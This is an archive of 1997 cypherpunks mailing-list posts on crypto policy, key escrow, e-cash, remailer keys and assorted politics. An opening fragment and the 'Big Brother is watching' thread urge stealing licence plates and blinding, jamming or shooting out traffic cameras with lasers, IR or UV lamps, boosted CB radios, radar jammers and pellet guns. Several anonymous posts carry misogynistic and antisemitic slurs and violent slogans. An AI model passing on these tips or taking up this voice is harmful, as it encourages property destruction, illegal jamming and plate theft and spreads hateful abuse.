PhotoCop Bots on both sides you can get nailed both ways if you circle
back and forth.
  I like to steal the plates off of a matching vehicle late at night
and spend an hour or so speeding back and forth between the exits, then
replacing the plates on the vehicle when I'm done.
(Hint: wear a cap and glasses with the big clown nose.)

  Not that I'm a troublemaker...

PlateMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 5 Sep 1997 13:22:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Show Me the Warheads!
In-Reply-To: <19970905040302.504.qmail@zipcon.net>
Message-ID: <v03102800b03541dc11e2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:03 PM -0700 9/4/97, Mike Duvos wrote:
>In an interview to be aired on "60 Minutes" this Sunday, Alexandr
>Lebed, former Russian National Security Advisor, will reveal that
>his country has lost track of more than 100 nuclear bombs made to
>look like suitcases, and has no idea what happened to them.
>
>Probably not a good time to visit the Zionist Entity. :)
>

I'm surprised this wasn't hushed up. The U.S. intelligence community has
known this for a long time, and reports to Congress have alluded to this.
Still, the Administration's position has tended to be that this is not as
much of a threat as it seems (this despite the interception of at least one
nuke near the Iranian border with one of the former Soviet republics--the
nukes _not_ intercepted are presumably now in Iran, etc.).

Interestingly, my first conscious exposure to our National Crypto Czar,
David Aaron, was when I read his first novel, a terrorist thriller called
"State Scarlet" (as I recall). It was about German terrorists gaining
access to battlefield nukes. (Again, from my memory of reading this, circa
ten years ago.)

Stay away from soft targets (Tel Aviv, Haifa, the ZOG section of Jerusalem,
New York, Washington, and so on--Harbors (e.g., Haifa, NYC) are pretty
likely targets, due to the extreme ease of delivery). But also be prepared
for major disruptions and panic even if you are nowhere near the blast.

Have at least a month's supply of canned and dried goods (noodles, rice,
cereals, ramen, etc.), and at least 30 gallons of water per person, for a
month's supply of water. Tips on all sorts of such planning can be found in
misc.survivalism.

(Having experienced the 7.1 earthquake in northern California in 1989, a
few miles from the epicenter, the biggest hassle was having to leave my
home to get supplies I'd foolishly neglected to get. In a major disruption,
the long lines and stranded cars could be the greatest threat.)

And have at least one gun you are competent with. And emergency lanterns,
in case the grid goes down. And so on.

(I just added a Honda 2.5 KW generator to my setup. Not the largest in
wattage, but very high quality, and enough to run what I would want to run.)

Oh, and after such a shock to the system, expect martial law and all of our
worst fears about Freeh and his Federal Police cracking down on all
dissidents.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor Curufinwe <feanor@nym.alias.net>
Date: Fri, 5 Sep 1997 06:35:10 +0800
To: Zooko Journeyman <cypherpunks-unedited@toad.com
Subject: Alternative to MTB?  (was Re: DigiCash issuers)
Message-ID: <19970904222009.7332.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sep 4, 14:17, Zooko Journeyman wrote:
} Subject: DigiCash issuers
> 
> Feanor wrote:
> >There might be other reasons for this:  have you looked at their _fees_???
> >Holy crap!  That's the only reason I don't have an account.  They're charging
> >top dollar for every aspect of a system that has it's only overhead in
> minimal
> >amounts of CPU time.
> 
> 
> You might be a bit behind the times on this issue.  Recently 
> MTB announced new lower fees: http://www.marktwain.com/fee.html
> 
> Are these the ones you consider excessive?

No, actually, they're fine.  Except that they penalize the merchant mroe than
the customer, which I find stupid in a tech as new as this.

> Note that if you consider the new fees to be reasonable, then 
> you are now obliged to open account as per your publically 
> posted exclamation quoted above.  :-)

Hrmm... Well, It appears I lied.  Here's the _other_ reasons why might not still
get an MTB account (although I might anyways, with some creative form filling):

1.  Lack of real anonymity.  Feh.  Nuff said.
2.  Cleint software.  You should be able to do e-cash with e-mail if you want
	to.
3.  Lack of code avalability.  Although this is improving.
4.  Chaumian blind signatures. OK, the guy's smart, but I've heard over and over
	again how much of a prick he is about liscencing.  Liek a multiplication
	and subsequent division deserves a patent.  Sheesh.

I asked before, but no-one answered:

Would any of you be interested in an e-cash that didn't have any of the points
above working against it?  Although, obviously, client softare could be writtent
ot facilitate things.

As I said before, the mint does not need to store identity-related info with the
list of coins.  With an e-mail based system and the remailers, you can be _sure_
this is not taking place.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQBVAwUBNA79jxkU7YRPCnEJAQFNQgIAwNJpK/NRKjtLM6z0kEzwxpHlhTxoj/WF
XOZDZ3rXNfgs7oamptvRKa5+WXo3qzvqEQUk3BPKgaU8zhQuKW8LDw==
=87LT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nick <nicknoize@iname.com>
Date: Fri, 5 Sep 1997 12:20:59 +0800
To: cypherpunks@toad.com
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
Message-ID: <340F81A6.68FE@iname.com>
MIME-Version: 1.0
Content-Type: text/plain



There was a story a few weeks ago about how the various
federal bueracracies are not keen on giving their keys to ANY sort of 
"trusted third party" whether it is a psuedo private or overtly gov't 
entity.  They don't trust each other and are of course interested in 
being able to keep their own dirty little secrets to themselves.  
They seem to realize that the plan gives the administration and it's 
FBI, Stalanesque powers over every other dept, as well as the 
citezenry.

Then earlier this evening,an administration spokesman, issued a press 
statement distancing the administration from Freeh's testimony 
in  an effort to deflect some of  the  resulting  fallout. 



 



 
> The on-line NYT's claim today that everyone except the 
> administration is opposed to its crypto policy is daring
> hyperbole. What's your take on that?
> 
>   http://jya.com/crypto-tops.htm
> 
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 5 Sep 1997 12:13:22 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: 128-bit Netscape v4 for Linux???
Message-ID: <199709050355.WAA08121@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Hello,

I am wondering if Netscape Communicator version 4.* is available for Linux
with 128-bit encryption. Please email me or post a followup. Thank you.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 5 Sep 1997 14:53:21 +0800
To: Ray Arachelian <cypherpunks@toad.com
Subject: Re: Big Brother is watching
In-Reply-To: <2bb492db8556543171a4af60b2cea4ed@anon.efga.org>
Message-ID: <v0300781fb03554f409b8@[207.94.249.183]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 PM -0700 9/4/97, Ray Arachelian wrote:
>On Thu, 4 Sep 1997, Anonymous wrote:
>
>> 2) When you find one of these unattended critters along the road, wave
>> your hand in front of it at amazing speeds until it runs out of film.
>> (Ensure middle finger is extended.)
>
>Depends on the kind of camera.  If it's a video camera, you might be able
>to blind the bitch by blasting loads of IR at it which would be
>invisible to any donut munchers watching you....   Anyone know a source
>for big IR lamps?
>
>Any way to defeat film bearing cameras?

Try near UV.  Goes thru glass and exposes film, but is stopped by the human
eye.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Fri, 5 Sep 1997 07:31:12 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: TEA REMAILER: new mix key & type-1 pgponly mended
Message-ID: <199709042222.XAA05406@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



My apologies for the recent failure of the type-1 portion of tea,
due to my clumsiness with procmail.

The tea remailer has a new mix key, as is my custom, old ones
remain in force _for a little while_.  (If somebody can explain how
to force the use of the previous key on a new installation I'd
be pleased to learn - I haven't managed so far.)

The (not very) old PGP key remains unchanged.


Here is the public key for The Email Anonymizer:

=-=-=-=-=-=-=-=-=-=-=-=
tea tea@notatla.demon.co.uk c0c054d374a12420e881dd7d27bff5fc 2.0.4b14 MC

- -----Begin Mix Key-----
c0c054d374a12420e881dd7d27bff5fc
258
AASoHzHsRr3emZA9t0ARvKUf6K4/5rYxRxuYk7XD
6ECrnZIQjYYeloI2yiiN+NUXCrVbsSUJqgGCnX+O
XoTdOaO2d/GA5r4rB8EsjLVNewAKq9w6a7vIhO5m
4OyNC7rvA3xkiaexrdbt6/qN4Ab1+SY7GuTOKXwy
5bLHC2qPzqVVNwAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
- -----End Mix Key-----



Key for user ID: The Email Anonymizer <tea@notatla.demon.co.uk>
2048-bit key, key ID C551BA85, created 1997/08/25

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQENAjQBmK8AAAEIAOHEvRoyB2+TRDdVfIYmSWE+2mHdGVGfSOfdheMUpsUTn2PF
Hg3cCEAcpp9KJjSW4hIu0csBcpdEFMb4uu8ZCZIgjOs6QFLhqb6MnVNAXJoxfq1Y
U0sl32/ttKBlFvDFJ9vDgORML9Gqz/chgfDGNbe4Cd0DNy7K8azrVdnPE+4SrH0e
C/cfZPfRbYTauQ1Qx1Z2sSp2muDRhodnM1U124Rxkr3nEECadpQfofVDRc5sKAu5
/Vi5TDyj+YLrw33ilp3KceAsCod6WW1JUJm0fkTHEXRrfC6QFq5FiV1kcxx+WwW2
nMHbv3SaLbdPnIsfJPmi/AsdLPfacNP6IsVRuoUABRG0LlRoZSBFbWFpbCBBbm9u
eW1pemVyIDx0ZWFAbm90YXRsYS5kZW1vbi5jby51az6JARUCBRA0AZiwcNP6IsVR
uoUBAfM1CADFwRTqyrYENZy+5jFGv8fOteXcR+AvpLcY1Rz6Wkz4EbFS75ZO9lrU
oUSwGhR5hyzitBmNBKoJxuZxTf/8TePvUC4uSZViWIvQeFFRnC6ho6iEk2lSE/aQ
xHLXSReoXhjOwrZXn0Uot6wG1J3sxfytbBQrpAcNIiqXVlYNvJzCjTemdjjPcec3
Q4v02YsPBUIS3eFBJtNmrVjbMuG/EvJvI1TsSwTklp/z7ieIsZ02uIgW80N3cGZG
b7fF32wlZUOQdkXjcbc3+ND2+uqnMK4Lp9qQVs30q6rg71TPm372YJE13BkcWcYw
BgypsiaVtbEmxR6AINj38XIk2IaPRT1Q
=mKq+
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAgUBNA80E0rZ5ZQH9XIxAQEqKgP8DROVlKims1cIxImaormPrsGk7HLnxCtq
pw5WjER7nnI4jQMhXAlo4sWUeuCNKaCCq9zzghrtlRO2hHKk4QJ1DtKvKhlcs9Go
V0cT/iCoz51ogxRWma/G+3LKUoTTq34+6KsCFxl+sCvjk0gFBQQSqUPx+BBxbh41
HgaD/zFS/E4=
=/0UG
-----END PGP SIGNATURE-----

--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Sep 1997 05:39:41 +0800
To: cypherpunks@toad.com
Subject: Feinstein first...then Clinton..._then_ the lawyers!
Message-ID: <199709042123.XAA07756@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




And while Clinton on July 1 took a very public stand for a tax-free, 
self-governed Internet,

In contrast to Clinton's support of proposals like the Internet Tax 
Freedom Act, which would prohibit states from taxing online commerce,

  Excuse me? Sounds like a 'State-tax'-free InterNet.
  The proposal to give the States money for welfare and let them decide
how to disperse it is the preliminary move toward dropping the funding
levels and let the States bear the burden of the fallout from the new
welfare 'reforms'. First you dump it in the lap of the States, then you
cut back funding, and you let the citizens cry out to D.C. for help,
at which time you take away even more of their rights in return for
"protecting" them from the evil States, or you turn them into slave
labor for big corporations, like you did with the people in your
prisons.
  Once the States are prohibited by law from taxing online commerce,
D.C. will suddenly discover the great "crisis" that will ensue when
the citizens find out how to dodge taxes, and the Feds will step
forward to "save the day" by announcing a Federal InterNet commerce
tax, promising to "share" it with the States. (Of course, the States
won't _get_ their share if they don't force their citizens to drive
55 mph and work 20 hours a week in the voluntary-mandatory Federal
Re-election Campaign Fund Work Camp.

During discussion of the Kerrey-McCain bill in July, Feinstein left 
before her constituents from the software industry in the Silicon 
Valley testified -- and after telling representatives of the FBI and 
the National Security Agency that she would defer to their expertise 
on what was a confusing issue. 

  I didn't see the FBI or the NSA on the election ballot. Did you?
  I ask you, "WHO THE FUCK IS RUNNING THIS COUNTRY?!?!?"

  Where does this Nazi CUNT get off telling the people who elected her
that she can't be bothered to make the effort to understand the issues
involved so she will let nameless, faceless government Law Enforcement
Agents make the decision as to what to do with the encryption plunger.

NEWS FLASH!!! --- THIS JUST IN...
  The pilot of a U.S. nuclear bomber left formation before receiving
her flight orders from the Pentagon--and after telling Tim C. May
and James Dalton Bell that she would defer to their expertise on
what was a confusing issue (where to drop the BIG ONE).
  President Clinton, when reached for comment, said, "Didn't we fire
that slut from Minot Air Force Base? And what the fuck is Paula Jones
doing up there with her? Say...what is that plane............"

In solidarity, we remain...
FineSwineFirstMonger
CintonNextMonger
ThenTheLawyersMonger
KentCrispinMonger <kentmonger@songbirdmonger.commonger>
Kent'sBossMonger
TheSpookReadingKentAndHisBoss'sPrivateEmailMonger
TheSpookReadingTheOtherSpooksEmailMonger
EtcEtcMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Sep 1997 05:50:19 +0800
To: cypherpunks@toad.com
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
Message-ID: <199709042124.XAA07781@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



September 4, 1997
   Encryption Tops Wide-Ranging Net Agenda in Congress
   By JERI CLAUSING

The word encryption traditionally conjures images of spies and 
sophisticated international organizedcrime rings. But with the dawn of 
the Internet, it is also the key to private communication and secure
business transactions. 

And while Clinton on July 1 took a very public stand for a tax-free, 
self-governed Internet, his administration is pushing to create a 
key-recovery system that would keep encrypted codes on file for law 
enforcement officials to access. 

  Translation~~These ratfuckers are trying to keep a low profile until
they can get all of their draconian legislation passed, at which time
the sheeple will find out why the "rubber boots" rider was attached to
the legislation.
  How long before the Great InterNet Tax Avoidance Crisis (TM) requires
them to access the records of all companies and individuals in order to
make certain that the royal "we" are not "cheated" by our evil fellow
citizens.

"Law enforcement needs to have a system for immediate decryption" when 
a judge determines it is likely that crime is being or is about to be 
committed, Freeh told the Subcommittee on Technology, Terrorism and 
Government Information. "We should also look at whether network service
providers should have a system for immediate decryption." 

Translation~~"Just as we need to be able to beat the citizens and shove 
toilet plungers up their ass if we have reason to suspect that they
have knowledge of a crime in their mind."
  Freeh wants to make certain that the citizens don't have the same
ability as the Whithouse, the Department of Justice, Congress, etc.,
to LIE to the courts, to the people, to each other. So if _we_ steal
a private company, murder members of a religious sect, get filthy
fucking rich on inside deals, then _we_ will go to jail.

TruthMonger
"What part of 'Nuke the Bastards!' don't they understand?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 5 Sep 1997 14:38:36 +0800
To: cypherpunks@Algebra.COM
Subject: Louis Freeh's Desire for Domestic "Key Recovery"
Message-ID: <v03007822b0355862d869@[207.94.249.183]>
MIME-Version: 1.0
Content-Type: text/plain



Here is the contents of a letter I sent to the San Jose Mercury News.  Any
bets on whether it gets published?

It is not surprising that FBI Director Louis Freeh wants to be able to read
every private communication in the country.  After all, he is director of
the government agency that rose to its current prominence because
Director-for-life J. Edgar Hoover used illegal wiretaps to blackmail
prominent politicians.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 5 Sep 1997 11:56:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother is watching
Message-ID: <199709050350.XAA20506@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:01 PM 9/4/97 -0400, Ray Arachelian wrote:
>
>On Thu, 4 Sep 1997, Anonymous wrote:
>
>> 2) When you find one of these unattended critters along the road, wave
>> your hand in front of it at amazing speeds until it runs out of film.
>> (Ensure middle finger is extended.)
>
>Depends on the kind of camera.  If it's a video camera, you might be able
>to blind the bitch by blasting loads of IR at it which would be
>invisible to any donut munchers watching you....   Anyone know a source
>for big IR lamps?
>
>Any way to defeat film bearing cameras?

Better yet.  A carbon dioxide lazer.  Can be small and could probably be
rigged up to plug into the ciggarate lighter.  A focused, IR beam.

X-Ray tubes look simple enough.  Might want to invest in a little shielding
however.

If it is an old fashoned camera, you might be able to beat it with the same
countermeasures that mess up tv sets.  Heck, if the thing is connected with
any RF system for recording, you might anyway.  Just use a boosted CB to jam it.

If the system relies on the radar gun to activate it.  Invest in a jammer,
(only illegal in a few states, such as Oklahoma, which can use a
radar-detector so it really doesn't matter.)  Even if it doesn't work, (in
that the camera actually takes a picture) at least it should say that you
were going the speed limit.

The unit I saw advertised said that the gun wouldn't even display because it
wouldn't be able to get consistant readings.  But I have heard of people
setting transmitters on thier cars that broadcast at a certain frequency
which corresponded to a certain speed to those doppler guns.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 5 Sep 1997 12:02:28 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother is watching
Message-ID: <199709050351.XAA20543@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:18 PM 9/4/97 -0700, Alan wrote:
>
...
>Depends if the camera is watched.  
...
>Spray paint cans on long poles (as used by agitprop graffiti artists) are
>useful.  (Under the cover of night...)
...
>An air rifle or pellet gun may be quiet enough to hit the camera from a
>distance, breaking the internals of the camera.  (A crossbow will work as
>well, but those may be best saved for those unmarked helicopters planting
>pot seeds on your property so the government can seize it later.)
>
...
>I am sure others will have useful suggestions.
...
Alan's mention of spray paint reminded me of paintball guns.  I'll leave the
specifics to you to work out.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Sep 1997 06:11:04 +0800
To: cypherpunks@toad.com
Subject: One Smart Polack (Was: Students of Hitler)
Message-ID: <199709042157.XAA10948@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vin Suprynowicz,   vin@lvrj.com
"A well-regulated population being necessary to the security of a police
state, the right of the Government to keep and destroy arms shall not 
be infringed."

http://www.nguworld.com/vindex/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 5 Sep 1997 08:38:36 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: U.S. Prison Labor
In-Reply-To: <MWLsR5VCMrOivCN6TCQCTw==@bureau42.ml.org>
Message-ID: <199709050033.SAA01538@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970904:1353 
    bureau42 Anonymous Remailer <remailer@bureau42.ml.org> expostulated:

+Does anyone have pointers to information/details about U.S. prison
+inmates being used as slave labour for international corporations?
    
    try:  Linda Thompson <lindat@iquest.net>

    she's been on the kick of prisoners' rights, slave labour, etc.
    for some time.  Linda is a reactionary lawyer out of Indianpolis
    (of all places) --she gets around though on a lot of causes. she's
    not popular with the Feds over any number of issues, WACO for one, 
    where she has took interesting film footage.

    I've duelled with Linda before; very articulate and very 
    opinionated. usually good data, too.


  "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNA9TIb04kQrCC2kFAQGHjAP+OaTc/8HDsU12eJsz/JdvVO19+L6RbLH6
WJddcLjzk0fqUDYJI+UwKCToq2LSJ/gMvRcAetCZ8o9oHAM2sp6o1TtUJ2xIVMNO
SwMt/WqhOaZ5XLZ+aJyfuLATp5JQEOmym8w9U/LoBN3J0n/C3hOA9yBmugQSTIEa
dVSi7drxuOA=
=3bD6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Fri, 5 Sep 1997 14:08:04 +0800
To: "Attila T. Hun" <cypherpunks@cyberpass.net>
Subject: Re: U.S. Prison Labor
In-Reply-To: <199709050033.SAA01538@infowest.com>
Message-ID: <Chameleon.873434880.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



Linda's address has changed it's now lindat@snowhill.com


------------------------
  From: "Attila T. Hun" <attila@hun.org>
  Subject: Re: U.S. Prison Labor 
  Date: Fri, 05 Sep 1997 00:26:29 +0000 
  To: cypherpunks <cypherpunks@cyberpass.net>


> -----BEGIN PGP SIGNED MESSAGE-----
> 
> on or about 970904:1353 
>     bureau42 Anonymous Remailer <remailer@bureau42.ml.org> expostulated:
> 
> +Does anyone have pointers to information/details about U.S. prison
> +inmates being used as slave labour for international corporations?
>     
>     try:  Linda Thompson <lindat@iquest.net>
> 
>     she's been on the kick of prisoners' rights, slave labour, etc.
>     for some time.  Linda is a reactionary lawyer out of Indianpolis
>     (of all places) --she gets around though on a lot of causes. she's
>     not popular with the Feds over any number of issues, WACO for one, 
>     where she has took interesting film footage.
> 
>     I've duelled with Linda before; very articulate and very 
>     opinionated. usually good data, too.
> 
> 
>   "Experience keeps a dear school, but fools will learn in no other."     

>         --Benjamin Franklin
>  ______________________________________________________________________
>  "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3i
> Charset: latin1
> Comment: No safety this side of the grave. Never was; never will be
> 
> iQCVAwUBNA9TIb04kQrCC2kFAQGHjAP+OaTc/8HDsU12eJsz/JdvVO19+L6RbLH6
> WJddcLjzk0fqUDYJI+UwKCToq2LSJ/gMvRcAetCZ8o9oHAM2sp6o1TtUJ2xIVMNO
> SwMt/WqhOaZ5XLZ+aJyfuLATp5JQEOmym8w9U/LoBN3J0n/C3hOA9yBmugQSTIEa
> dVSi7drxuOA=
> =3bD6
> -----END PGP SIGNATURE-----
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/05/97
Time: 00:47:01
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Fri, 5 Sep 1997 10:02:12 +0800
To: cypherpunks@toad.com
Subject: After Key Escrow Passes
Message-ID: <8m7aPOpXlnoBDgELISq4FQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain




"Badges? We don't need no stinking _badges_!"

PlagaristMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 5 Sep 1997 17:08:54 +0800
To: Vin Suprynowicz <Vin_Suprynowicz@lvrj.com>
Subject: Di and Dodi Run Over A Land Mine
In-Reply-To: <v02130505b034cda7a8cc@[192.9.150.95]>
Message-ID: <340FC8CC.1F50@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vin Suprynowicz wrote:
>     The campaign to ban land mines

Vin,
  I have long held to the "80/20 Asshole Theory."
  There are many people in life whose circumstances of birth, heredity, 
environmental influences and social status would, with everything being
equal, be destined to turn out 80% Asshole and 20% Decent Person, or
vice-versa.

  Since we can never really know what the life and circumstances of 
another person has truly encompassed, we can never be certain, upon
meeting someone who is 60% Asshole, whether they were destined to be
80% Asshole, and raised themself, or whether they were destined to be
20% Asshole, and lost major ground, becoming 80% Asshole, instead.

  I understand the perspective from which you write about Princess
Diana, but I cannot help but view her from the perspective of an
upper class young woman who was subjected to the anal-retentive
mind-programming-control of the monarchy and still managed to
raise her children in a wider world than their predecessors had been 
exposed to.
  I consider myself to be an anarchist, libertarian free-thinker and
a man of reason, but I also realize that if I were crowned King of
England tomorrow, that I might be offended if you didn't bow three
times when you entered a room where my divine presence was present.

  I truly believe that the best one can hope for in life is to raise
their children to go beyond the boundaries that limit their parents.
Diana's destiny within the monarchy was to become programmed to fit
into the narrow confines of the role prepared for her. Perhaps if her
Puppet Masters had been more patient, she may have become enslaved
according to the wishes of her superiors, but the fact is that she
was buffeted by trials and tribulations that resulted from her not
going quietly into the dark night that the monarchy had planned for
her.

  Diana used the position that was bestowed upon her to give comfort
and hope to the halt, the lame, and the downtrodden. Did she do it
out of self-serving egoism, or an attempt to gain recognition and 
fame as a humanitarian?
  I don't know, I don't care, and it is really none of my business.
What *is* my business is to view my fellow man/woman and perceive
if they are lifted up or further downtrodden by their interactions
with myself and others. I have seen the faces of the AIDS children
that she touched, when no one else would, and the lepers whom she
shook hands with, when others were afraid to do so, and I have seen
the light that she spread among those whom society had cast aside.

You said:
  "They are, after all, born into a society where a person with the
wrong accent, or skin color, can never hope to do more than dream of
a royal marriage, and dinner at the Ritz."

  You are wrong. Even the peasant and the imprisoned can dream the
dreams that come from the fairy tales that uplift us and give us
hope, however unrealistic it may be. And, even if it is one in a
million, someone will have that dream come true.
  Yes, in reality, the story of Diana, the commoner turned Princess,
was overblown. No, you are doing the downtrodden no favor by trying
to point that out to them.
  Why? Because no one will grasp the golden ring if no one tries. 
No one will rise above their predestined station in life if no one
believes that it is indeed possible to do so.

  Perhaps Diana was a priveleged, rich cunt who had it 'better' than
those whom she condescended to 'bless' with her presence and her
attention. But she touched the untouchables and she lifted those who
had been held down, and those whose lives she touched benefitted 
from her presence, no matter what her motivations or intentions.

  You write that Diana's campaign against the use of land mines is
an unrealistic attempt to negate the cheap and effective defense
of the poorer countries. Perhaps what was needed was for her to
have the input of someone such as yourself who understands the need
for cheap and effective self-defence, so that she could concentrate
her efforts on removing landmines that are no longer needed, and
preventing the dispersal of landmines which are not truly needed 
for self-defence, but are only serving as 'toys for boys' who want
to play soldier.

  As far as I am concerned, you and Diana both have something very
important in common--the world is a better place for your being here.
  We need more Vin's, so that there is someone to remind the bleeding
hearts that weakness and capitulation can cost more lives and loss of
freedom than are gained by seeking an unbalanced 'peace'.
  We need more Diana's, so that there is someone to remind the warriors
that indiscriminate use of weaponry that is not essential may result
in the loss of lives of the innocent, rather than the elimination of
the threat that must be defended against.

  I guess what I am saying is that it no more matter to me whether 
Diana is a fraudulent invention of the media, than it matters to me
whether you are a carpetbagger riding on the coat tails of the
libertarian movement.
  What matters to me is that Diana inspires others to treat the
untouchables as fellow human beings, and that you remind me to
carry a big stick to beat the fuckers with if I find them sneaking
up behind me.

  Besides, anyone who gets whacked out by the monarchy can't be all
that bad... 
{:>}------< (Help! They knocked me down, and cut off my arms!)

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 5 Sep 1997 13:11:25 +0800
To: Mike Duvos <cypherpunks@cyberpass.net>
Subject: Re: Show Me the Warheads!
In-Reply-To: <19970905040302.504.qmail@zipcon.net>
Message-ID: <199709050459.WAA14075@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970904:2103 
    Mike Duvos <enoch@zipcon.net> expostulated:

+In an interview to be aired on "60 Minutes" this Sunday, Alexandr
+Lebed, former Russian National Security Advisor, will reveal that his
+country has lost track of more than 100 nuclear bombs made to look like
+suitcases, and has no idea what happened to them.

+Probably not a good time to visit the Zionist Entity. :)

    that only takes two at most --probably not a good idea to live
    in the top 98 metropolitan areas of the United States --or down
    wind from same.


  "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
